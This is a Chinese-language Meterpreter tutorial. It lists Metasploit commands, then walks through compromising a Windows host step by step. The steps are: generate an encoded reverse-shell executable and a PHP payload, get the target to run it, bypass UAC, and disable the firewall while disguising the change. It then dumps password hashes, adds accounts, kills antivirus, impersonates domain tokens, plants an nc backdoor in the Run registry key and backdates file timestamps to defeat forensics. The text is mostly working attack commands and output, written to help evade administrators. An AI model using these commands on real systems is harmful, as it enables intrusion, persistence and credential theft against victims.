十、Meterpreter常用命令
1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)
background(进程隐藏至后台)
sessions(查看已经成功获取的会话,-i 恢复会话)
quit(关闭当前会话)
shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)
irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)
cat(目标系统文件交互)
getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录)
upload(上传文件或文件夹到目标机 -r 递归)
download(从目标机下载文件或文件夹 -r 递归)
edit(调用vi编辑器,对目标上的文件进行编辑)
search(对目标机的文件进行搜索)
3、网络命令(查看目标网络状况、连接信息,进行端口转发等)
ipconfig(获取目标主机上的网络接口信息)
portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发)
route(显示目标主机路由信息)
4、系统命令(查看目标系统信息、对系统进行基本操作等)
ps(查看目标机正在运行的进程信息)
migrate(将meterpreter会话进程迁移到另一个进程内存空间)
execute(在目标机上执行文件)
getpid(当前会话所在进程的pid值)
kill(终结指定的pid程序)
getuid(获取当前会话用户名)
sysinfo(获取系统信息)
shutdown(关闭目标主机)
5、用户接口命令
screenshot(截获被控主机当前桌面)
=================================================
随着windows系统的不断更新完善,windows对用户系统的安全力度也在加强。这对我们的渗透,也带来了不少的麻烦。今天我将带大家,利用目前流行的 metasploit 框架,绕过一些 UAC 及防火墙的限制,从而达到成功利用的目的!
由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。
生成一个 payload :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8
将以上生成的 payload 发送给目标机器并让其执行!
接着,我们在 kali 上配置一个反弹会话处理程序:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.15.131
set LPORT 4444
exploit
这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php
当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。
我们尝试直接利用 getuid 和 getsystem 命令来提权:
从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过!
use exploit/windows/local/ask
show options
set session 1
exploit
当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限:
现在我们来通过其 shell 来关闭防火墙:
shell
netsh adcfirewall set allprofiles state off
我们打开防火墙配置查看防火墙已成功被我们关闭!
但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。
netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL
伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!
run getgui -u xxxxx -p xxxxx 添加用户
run post/windows/gather/hashdump 获取加密的用户名和密码
开启3389远程桌面:
run post/windows/manage/enable_rdp 此命令可以帮我们一建开启远程桌面,并帮我们关闭防火墙
还可以使用 run getgui -e 来开启远程桌面:
利用该命令,我们还可以在目标机器上添加用户:
run getgui -u xxxxx -p xxxxx
我们还可以尝试关闭目标机器上的杀毒软件:
run killav
对目标系统桌面进行实时截图:
screenshot
use espia
窃取及伪造域账户 token :
load incognito
list_tokens -u
impersonate_token xxxxx\xxxxxxx
execute -f cmd.exe -i -t
利用注册表添加 NC 后门:
上传 NC 到目标系统:
upload /usr/share/windows-binaries/nc.exe C:\windows\system32
枚举注册表内容(开机启动)
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
在该注册表增加内容(开机启动)
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d “C:windowssystem32 c.exe -Ldp 444 -e cmd.exe”
----
或
查看内容是否增加成功:
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc
nc连接
>nc 192.168.192.129 222.
Microsoft Windows XP [�汾 5.1.2600]
(C) ��Ȩ���� 1985-2001 Microsoft Corp.
C:Documents and SettingsAdministrator>ls
ls
'ls' �����ڲ����ⲿ���Ҳ���ǿ����еij���
���������ļ���
C:Documents and SettingsAdministrator>dir
dir
������ C �еľ��� WinXp
��������� 0000-2C28
也可以通过nc.exe再次连接到meterperter
nc 192.168.192.129 222
c:>cd windows
c:windows>start fif.exe
查看metepreter又连接到了。
-----------------------------------
对目标网络实施嗅探抓包:
加载 sniffer 插件:
load sniffer
对指定网卡进行抓包嗅探:
sniffer_start 9
将抓取的包保存为cap文件:
sniffer_dump 9 1.cap
对抓取的包进行解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
获取目标系统上的 hash 值:
use post/windows/gather/hashdump
set session 4
run
基于MACE时间的反电子取证:
timestomp -v secist.txt
查看当前目标文件 MACE 时间。
timestomp -f c:\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)
timestomp -v secist.txt